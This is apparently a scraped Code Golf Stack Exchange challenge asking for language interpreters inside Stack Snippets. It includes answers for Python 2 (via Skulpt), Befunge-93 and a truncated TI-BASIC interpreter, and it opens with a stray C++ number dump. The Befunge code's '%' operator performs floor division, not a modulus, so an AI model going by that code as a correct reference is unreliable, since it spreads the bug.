1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499}; std::index_sequence<N, M ...> = std::integer_sequence<long unsigned int, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499> ``` ]
[Question] [ **Closed**. This question is [opinion-based](/help/closed-questions). It is not currently accepting answers. --- **Want to improve this question?** Update the question so it can be answered with facts and citations by [editing this post](/posts/40073/edit). Closed 2 years ago. [Improve this question](/posts/40073/edit) [Stack Snippets](http://blog.stackoverflow.com/2014/09/introducing-runnable-javascript-css-and-html-code-snippets/) were [recently](http://meta.codegolf.stackexchange.com/questions/2201/do-we-want-stack-snippets) added to [PPCG](https://codegolf.stackexchange.com/)! Reminiscent of [JSFiddle](http://jsfiddle.net/), Stack Snippets allow HTML, CSS, and JavaScript to be run ***directly in posts***! Here is a very simple Stack Snippet: ``` alert('This is JavaScript') ``` ``` h3 { color: red } /* This is CSS */ ``` ``` <h3>This is HTML</h3> ``` This feature of Stack Exchange would be very useful for us *if* languages besides JavaScript were supported. (The answers to challenges could be tested on the spot, example inputs could be generated dynamically, etc.) This is where you come in. # Challenge The goal of this challenge is to write an [interpreter](http://en.wikipedia.org/wiki/Interpreter_(computing)) for some programming language using Stack Snippets and JavaScript. The point is to make something that can be easily copied and used in future PPCG questions and answers. More or less, you need to create a Stack Snippet that has a "run" button and two textboxes, one for code and one for input. Clicking the run button will execute the code (written in the language you're interpreting) on the input and display the result (probably in another textbox). The snippet should be something akin to [cjam.aditsu.net](http://cjam.aditsu.net/) or [the sample answer](https://codegolf.stackexchange.com/a/40074/26997). For most languages it would make sense for the input and output to represent stdin and sdout respectively, and you might have another input box for the command line. But not all languages have have such traditional I/O mechanisms. [HQ9+](http://esolangs.org/wiki/HQ9+), for example, doesn't even have input, making a textbox for it pointless. So feel free to take some liberties, design around the language, not this spec. The main requirement is that your language be "runnable" in a Stack Snippet in the accepted sense of the term. ### Notes * Implementing every single feature of your language, though ideal, is **not** required. Some things like reading and writing files or importing libraries may be unwieldy or impossible. Focus on making an interpreter that maximizes utility for use on this site. * Posting a "language X to JavaScript" interpreter that you didn't write is ok (with attribution). * [Stack Exchange limits answers to 30,000 characters](https://meta.stackexchange.com/a/176447/266052), so plan accordingly if your interpreter is likely to be long. * It is best that you make a version of your interpreter as easy as possible to include in future posts. For example, in the [sample answer](https://codegolf.stackexchange.com/a/40074/26997), the raw Markdown for the entire snippet is provided, with obvious places to put code and input. Although this question is intended to be more a compendium of interpreters than a proper challenge, it is still a [popularity-contest](/questions/tagged/popularity-contest "show questions tagged 'popularity-contest'"), so the highest voted answer wins. # List of Current Interpreters (sorted alphabetically by language name) > > 1. [Beam](https://codegolf.stackexchange.com/a/57190/42545) > 2. [Befunge-93](https://codegolf.stackexchange.com/a/40331/26765) > 3. [Brainfuck](https://codegolf.stackexchange.com/a/40091/26997) > 4. [Brainfuck](https://codegolf.stackexchange.com/a/40761/29611) > 5. [CHIQRSX9+](https://codegolf.stackexchange.com/a/63990/41247) > 6. [Deadfish](https://codegolf.stackexchange.com/a/40083/26997) > 7. [Deadfish](https://codegolf.stackexchange.com/a/40090/26997) (only runs preset code) > 8. [Fourier](https://codegolf.stackexchange.com/a/58101/42545) > 9. [FRACTRAN](https://codegolf.stackexchange.com/a/40285/26997) > 10. [Hello++](https://codegolf.stackexchange.com/a/63915/41247) > 11. [HQ9+](https://codegolf.stackexchange.com/a/40710/26765) > 12. [Insomnia](https://codegolf.stackexchange.com/a/41868/42545) > 13. [Japt](https://codegolf.stackexchange.com/a/62685/42545) > 14. [JavaScript](https://codegolf.stackexchange.com/a/40074/26997) (sample answer) > 15. [JavaScript ES2015](https://codegolf.stackexchange.com/a/65839/40695) > 16. [Marbelous](https://codegolf.stackexchange.com/a/40808/29611) > 17. [Neoscript](https://codegolf.stackexchange.com/a/89620/53745) > 18. [oOo CODE](https://codegolf.stackexchange.com/a/42883/42545) > 19. [Ouroboros](https://codegolf.stackexchange.com/a/61624/16766) > 20. [Prelude](https://codegolf.stackexchange.com/a/52454/8478) > 21. [Python 2](https://codegolf.stackexchange.com/a/40127/26997) > 22. [STATA](https://codegolf.stackexchange.com/a/47181/42545) > 23. [TI-Basic](https://codegolf.stackexchange.com/a/40785/29611) > 24. [Unary](https://codegolf.stackexchange.com/a/54777/42545) (translates to BF) > > > *(This question might be better suited for [Meta](http://meta.codegolf.stackexchange.com/questions) but it will be more visible here. People might actually produce very useful interpreters, I think they deserve the rep for it.)* [Answer] # Python 2 (No STDIN) Thanks to [Skulpt](http://www.skulpt.org), it has become very easy to write a Python interpreter. ``` function out(text) { var output = document.getElementById("output"); output.innerHTML = output.innerHTML + text; } function builtinRead(x) { if(Sk.builtinFiles === undefined || Sk.builtinFiles["files"][x] === undefined) throw "File not found: '" + x + "'"; return Sk.builtinFiles["files"][x]; } function run() { var program = document.getElementById("python-in").value; var output = document.getElementById("output"); output.innerHTML = ""; Sk.canvas = "canvas"; Sk.pre = "output"; Sk.configure({ output: out, read: builtinRead }); try { Sk.importMainWithBody("<stdin>", false, program); } catch(e) { throw new Error(e.toString()); } } ``` ``` #python-in { border-radius: 3px; background: rgb(250, 250, 250); width: 95%; height: 200px; } #output { border-radius: 3px; background: lightgray; width: 95%; height: 200px; overflow: auto; } #canvas { border: 1px solid gray; border-radius: 3px; height: 400px; width: 400px; } ``` ``` <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="http://www.skulpt.org/static/skulpt.min.js"></script> <script src="http://www.skulpt.org/static/skulpt-stdlib.js"></script> Python code:<br/> <textarea id="python-in" name="python-in" rows="10" cols="80"></textarea><br/> <button id="run-code" onclick="run()">Run</button><br/> <br/> Output:<br/> <pre id="output" name="output" rows="10" cols="10" disabled></pre><br/> Canvas for turtles:<br/> <canvas height="400" width="400" id="canvas">Your browser does not support HTML5 Canvas!</canvas> ``` No STDIN, but it's a pretty complete implementation of Python in JS. I would load the libraries from somewhere else but I can't find a host of them. [Answer] # [Befunge-93](http://en.wikipedia.org/wiki/Befunge) *Edit:* I reworked the entire GUI now. I'm much happier with it. Some kind of breakpoint feature would be cool, but it's probably too much for this. Open Points I will probably revisit: * Allow an infinite board * Displaying the stack when stepping through the program would be neat Since I just implemented this interpreter for this challenge it's not really extensively tested. However, I tried it with a variety of different programs now and it seems to work fine. The latest version can be found at the latest revision of [this fiddle](http://jsfiddle.net/nvpnteae/30/). ``` function BefungeBoard(source, constraints) { constraints = constraints || { width: 80, height: 25 }; this.constraints = constraints; this.grid = source.split(/\r\n|[\n\v\f\r\x85\u2028\u2029]/).map(function (line) { return (line + String.repeat(' ', constraints.width - line.length)).split(''); }); for (var i = this.grid.length; i < constraints.height; i++) { this.grid[i] = String.repeat(' ', constraints.width).split(''); } this.pointer = { x: 0, y: 0 }; this.direction = Direction.RIGHT; } BefungeBoard.prototype.nextPosition = function () { var vector = this.direction.toVector(), nextPosition = { x: this.pointer.x + vector[0], y: this.pointer.y + vector[1] }; nextPosition.x = nextPosition.x < 0 ? this.constraints.width - 1 : nextPosition.x; nextPosition.y = nextPosition.y < 0 ? this.constraints.height - 1 : nextPosition.y; nextPosition.x = nextPosition.x >= this.constraints.width ? 0 : nextPosition.x; nextPosition.y = nextPosition.y >= this.constraints.height ? 0 : nextPosition.y; return nextPosition; }; BefungeBoard.prototype.advance = function () { this.pointer = this.nextPosition(); if (this.onAdvance) { this.onAdvance.call(null, this.pointer); } }; BefungeBoard.prototype.currentToken = function () { return this.grid[this.pointer.y][this.pointer.x]; }; BefungeBoard.prototype.nextToken = function () { var nextPosition = this.nextPosition(); return this.grid[nextPosition.y][nextPosition.x]; }; var Direction = (function () { var vectors = [ [1, 0], [-1, 0], [0, -1], [0, 1] ]; function Direction(value) { this.value = value; } Direction.prototype.toVector = function () { return vectors[this.value]; }; return { UP: new Direction(2), DOWN: new Direction(3), RIGHT: new Direction(0), LEFT: new Direction(1) }; })(); function BefungeStack() { this.stack = []; } BefungeStack.prototype.pushAscii = function (item) { this.pushNumber(item.charCodeAt()); }; BefungeStack.prototype.pushNumber = function (item) { if (isNaN(+item)) { throw new Error(typeof item + " | " + item + " is not a number"); } this.stack.push(+item); }; BefungeStack.prototype.popAscii = function () { return String.fromCharCode(this.popNumber()); }; BefungeStack.prototype.popNumber = function () { return this.stack.length === 0 ? 0 : this.stack.pop(); }; function Befunge(source, constraints) { this.board = new BefungeBoard(source, constraints); this.stack = new BefungeStack(); this.stringMode = false; this.terminated = false; this.digits = "0123456789".split(''); } Befunge.prototype.run = function () { for (var i = 1; i <= (this.stepsPerTick || 10); i++) { this.step(); if (this.terminated) { return; } } requestAnimationFrame(this.run.bind(this)); }; Befunge.prototype.step = function () { this.processCurrentToken(); this.board.advance(); }; Befunge.prototype.processCurrentToken = function () { var token = this.board.currentToken(); if (this.stringMode && token !== '"') { return this.stack.pushAscii(token); } if (this.digits.indexOf(token) !== -1) { return this.stack.pushNumber(token); } switch (token) { case ' ': while ((token = this.board.nextToken()) == ' ') { this.board.advance(); } return; case '+': return this.stack.pushNumber(this.stack.popNumber() + this.stack.popNumber()); case '-': return this.stack.pushNumber(-this.stack.popNumber() + this.stack.popNumber()); case '*': return this.stack.pushNumber(this.stack.popNumber() * this.stack.popNumber()); case '/': var denominator = this.stack.popNumber(), numerator = this.stack.popNumber(), result; if (denominator === 0) { result = +prompt("Illegal division by zero. Please enter the result to use:"); } else { result = Math.floor(numerator / denominator); } return this.stack.pushNumber(result); case '%': var modulus = this.stack.popNumber(), numerator = this.stack.popNumber(), result; if (modulus === 0) { result = +prompt("Illegal division by zero. Please enter the result to use:"); } else { result = Math.floor(numerator / modulus); } return this.stack.pushNumber(result); case '!': return this.stack.pushNumber(this.stack.popNumber() === 0 ? 1 : 0); case '`': return this.stack.pushNumber(this.stack.popNumber() < this.stack.popNumber() ? 1 : 0); case '>': this.board.direction = Direction.RIGHT; return; case '<': this.board.direction = Direction.LEFT; return; case '^': this.board.direction = Direction.UP; return; case 'v': this.board.direction = Direction.DOWN; return; case '?': this.board.direction = [Direction.RIGHT, Direction.UP, Direction.LEFT, Direction.DOWN][Math.floor(4 * Math.random())]; return; case '_': this.board.direction = this.stack.popNumber() === 0 ? Direction.RIGHT : Direction.LEFT; return; case '|': this.board.direction = this.stack.popNumber() === 0 ? Direction.DOWN : Direction.UP; return; case '"': this.stringMode = !this.stringMode; return; case ':': var top = this.stack.popNumber(); this.stack.pushNumber(top); return this.stack.pushNumber(top); case '\\': var first = this.stack.popNumber(), second = this.stack.popNumber(); this.stack.pushNumber(first); return this.stack.pushNumber(second); case '$': return this.stack.popNumber(); case '#': return this.board.advance(); case 'p': return this.board.grid[this.stack.popNumber()][this.stack.popNumber()] = this.stack.popAscii(); case 'g': return this.stack.pushAscii(this.board.grid[this.stack.popNumber()][this.stack.popNumber()]); case '&': return this.stack.pushNumber(+prompt("Please enter a number:")); case '~': return this.stack.pushAscii(prompt("Please enter a character:")[0]); case '.': return this.print(this.stack.popNumber()); case ',': return this.print(this.stack.popAscii()); case '@': this.terminated = true; return; } }; Befunge.prototype.withStdout = function (printer) { this.print = printer; return this; }; Befunge.prototype.withOnAdvance = function (onAdvance) { this.board.onAdvance = onAdvance; return this; }; String.repeat = function (str, count) { var repeated = ""; for (var i = 1; i <= count; i++) { repeated += str; } return repeated; }; window['requestAnimationFrame'] = window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function (callback) { window.setTimeout(callback, 1000 / 60); }; (function () { var currentInstance = null; function resetInstance() { currentInstance = null; } function getOrCreateInstance() { if (currentInstance !== null && currentInstance.terminated) { resetInstance(); } if (currentInstance === null) { var boardSize = Editor.getBoardSize(); currentInstance = new Befunge(Editor.getSource(), { width: boardSize.width, height: boardSize.height }); currentInstance.stepsPerTick = Editor.getStepsPerTick(); currentInstance.withStdout(Editor.append); currentInstance.withOnAdvance(function (position) { Editor.highlight(currentInstance.board.grid, position.x, position.y); }); } return currentInstance; } var Editor = (function (onExecute, onStep, onReset) { var source = document.getElementById('source'), sourceDisplay = document.getElementById('source-display'), sourceDisplayWrapper = document.getElementById('source-display-wrapper'), stdout = document.getElementById('stdout'); var execute = document.getElementById('execute'), step = document.getElementById('step'), reset = document.getElementById('reset'); var boardWidth = document.getElementById('board-width'), boardHeight = document.getElementById('board-height'), stepsPerTick = document.getElementById('steps-per-tick'); function showEditor() { source.style.display = "block"; sourceDisplayWrapper.style.display = "none"; source.focus(); } function hideEditor() { source.style.display = "none"; sourceDisplayWrapper.style.display = "block"; var computedHeight = getComputedStyle(source).height; sourceDisplayWrapper.style.minHeight = computedHeight; sourceDisplayWrapper.style.maxHeight = computedHeight; sourceDisplay.textContent = source.value; } function resetOutput() { stdout.value = null; } function escapeEntities(input) { return input.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;'); } sourceDisplayWrapper.onclick = function () { resetOutput(); showEditor(); onReset && onReset.call(null); }; execute.onclick = function () { resetOutput(); hideEditor(); onExecute && onExecute.call(null); }; step.onclick = function () { hideEditor(); onStep && onStep.call(null); }; reset.onclick = function () { resetOutput(); showEditor(); onReset && onReset.call(null); }; return { getSource: function () { return source.value; }, append: function (content) { stdout.value = stdout.value + content; }, highlight: function (grid, x, y) { var highlighted = []; for (var row = 0; row < grid.length; row++) { highlighted[row] = []; for (var column = 0; column < grid[row].length; column++) { highlighted[row][column] = escapeEntities(grid[row][column]); } } highlighted[y][x] = '<span class="activeToken">' + highlighted[y][x] + '</span>'; sourceDisplay.innerHTML = highlighted.map(function (lineTokens) { return lineTokens.join(''); }).join('\n'); }, getBoardSize: function () { return { width: +boardWidth.innerHTML, height: +boardHeight.innerHTML }; }, getStepsPerTick: function () { return +stepsPerTick.innerHTML; } }; })(function () { getOrCreateInstance().run(); }, function () { getOrCreateInstance().step(); }, resetInstance); })(); ``` ``` .container { width: 100%; } .so-box { font-family:'Helvetica Neue', Arial, sans-serif; font-weight: bold; color: #fff; text-align: center; padding: .3em .7em; font-size: 1em; line-height: 1.1; border: 1px solid #c47b07; -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 2px 0 rgba(255, 255, 255, 0.15) inset; text-shadow: 0 0 2px rgba(0, 0, 0, 0.5); background: #f88912; box-shadow: 0 2px 2px rgba(0, 0, 0, 0.3), 0 2px 0 rgba(255, 255, 255, 0.15) inset; } .control { display: inline-block; border-radius: 6px; float: left; margin-right: 25px; cursor: pointer; } .option { padding: 10px 20px; margin-right: 25px; float: left; } input, textarea { box-sizing: border-box; } textarea { display: block; white-space: pre; overflow: auto; height: 75px; width: 100%; max-width: 100%; min-height: 25px; } span[contenteditable] { padding: 2px 6px; background: #cc7801; color: #fff; } #controls-container, #options-container { height: auto; padding: 6px 0; } #stdout { height: 50px; } #reset { float: right; } #source-display-wrapper { display: none; width: 100%; height: 100%; overflow: auto; border: 1px solid black; box-sizing: border-box; } #source-display { font-family: monospace; white-space: pre; padding: 2px; } .activeToken { background: #f88912; } .clearfix:after { content:"."; display: block; height: 0; clear: both; visibility: hidden; } .clearfix { display: inline-block; } * html .clearfix { height: 1%; } .clearfix { display: block; } ``` ``` <div class="container"> <textarea id="source" placeholder="Enter your Befunge-93 program here" wrap="off">"39-egnufeB">:#,_@</textarea> <div id="source-display-wrapper"> <div id="source-display"></div> </div> </div> <div id="controls-container" class="container clearfix"> <input type="button" id="execute" class="control so-box" value="► Execute" /> <input type="button" id="step" class="control so-box" value="Step" /> <input type="button" id="reset" class="control so-box" value="Reset" /> </div> <div id="stdout-container" class="container"> <textarea id="stdout" placeholder="Output" wrap="off" readonly></textarea> </div> <div id="options-container" class="container"> <div class="option so-box">Steps per Tick: <span id="steps-per-tick" contenteditable>500</span> </div> <div class="option so-box">Board Size: <span id="board-width" contenteditable>80</span> x <span id="board-height" contenteditable>25</span> </div> </div> ``` [Answer] # TI-BASIC 'cause who doesn't like TI-Basic? I wanted to contribute to this, so I picked a language that is (in my humble opinion) *slightly* more complicated than, say, Deadfish, but within my control. I know a lot about my calculator, so I picked this. I don't however, have any background experience with JavaScript/CSS/HTML. This was my first program. That means... **Please point out the errors you find in my code!** That being said, this is a limited version of TI-Basic. I will continue to implement things as I get around to them. ## Features as of right now * common control keywords (if,then,else,end) * All available loops (while, repeat, for) * disp command * JavaScript arithmetic operators, via eval * Lists * Built in auto colon-ator (see for yourself) * Random values of uninitialized variables, just like your calculator * limited math - sin,cos,tan,asin,acos,atan,sinh,cosh,tanh,log,ln,int,round,abs. * constants pi and e as variables * Prompt, input, pause (Yay!) * writes to output during execution (thanks to pseudonym117) * simple pixel-on/off / clear screen capabilities ## Liberties taken * supports multi-character variable names. Unfortunately, this means `ab` is a variable, not the value `a*b`. This uni-character variable name limit drove me crazy on my calculator. * ignoring "goto" and "lbl". They were buggy even on the calculator unless you did it a certain way. * Going to ignore prgm, OpenLib and [ExecLib](http://tibasicdev.wikidot.com/execlib) because there are no external/other files ## What still needs to be done * ~~Some sort of canvas for drawing (coming soon!)~~ More drawing stuff * ~~Some way for `prompt` and `input` commands in the text window (suggestions, anyone?)~~ * Support for (the rest of) calculator math operations (there's BUCKETS) * Suppot for `Ans` keyword shenanigans. * Support for rest of CTL keywords * Some way to support a form of getkey, though most languages nowadays are event driven... Perhaps it could be the last pressed key. * ~~I don't know if this is true, but JavaScript seems to think first, then display to a textarea, rather than display as it goes.~~ * There's no CSS/HTML prettiness I still don't know much about JavaScript. If any of the above are possible/impossible, please let me know. ``` function inputChanged() { var codeText = document.getElementById('code-block'); if (codeText.value.charAt(0) !== ':') { codeText.value = ':' + codeText.value; } var cursor = codeText.selectionEnd; if (lastText.length < codeText.value.length) { //adding characters if (/(\n)$/.test(codeText.value) === true || /(\n)(\n)/.test(codeText.value) === true) { cursor++; } codeText.value = codeText.value.replace(/(\n)$/, '\n:'); codeText.value = codeText.value.replace(/(\n)(\n)/, '\n:\n'); } else { //removing characters if (/(\n)$/.test(codeText.value) === true || /(\n)(\n)/.test(codeText.value) === true) { cursor--; } codeText.value = codeText.value.replace(/(\n)$/, ''); codeText.value = codeText.value.replace(/(\n)(\n)/, '\n'); } codeText.setSelectionRange(cursor, cursor); lastText = codeText.value; } function onUserInput(e){ var output = document.getElementById('output'); //enter has code 13 if(awaitingInput && e.keyCode===13){ var lines = output.value.split('\n'); var input = lines[lines.length-1]; if(input.indexOf('?')!==-1){ input = input.substring(input.indexOf('?')+1,input.length); } if(newInputVarName !== null){ var iValue = replaceVars(input); variables[newInputVarName]= eval(iValue); }else{ output.value = output.value.substring(0,output.value.length-1); } awaitingInput = false; } } var lastText = ':'; var L1 = [], L2 = [], L3 = [], L4 = [], L5 = [], L6 = []; //note - these are special. They're like variables, and are considered in replaceVars. var tokens = [':', '-->', 'if', 'then', 'else', 'for', 'while', ',', 'repeat', 'end', 'disp','prompt','input', 'pause','pxl-on','pxl-off','clrdraw']; 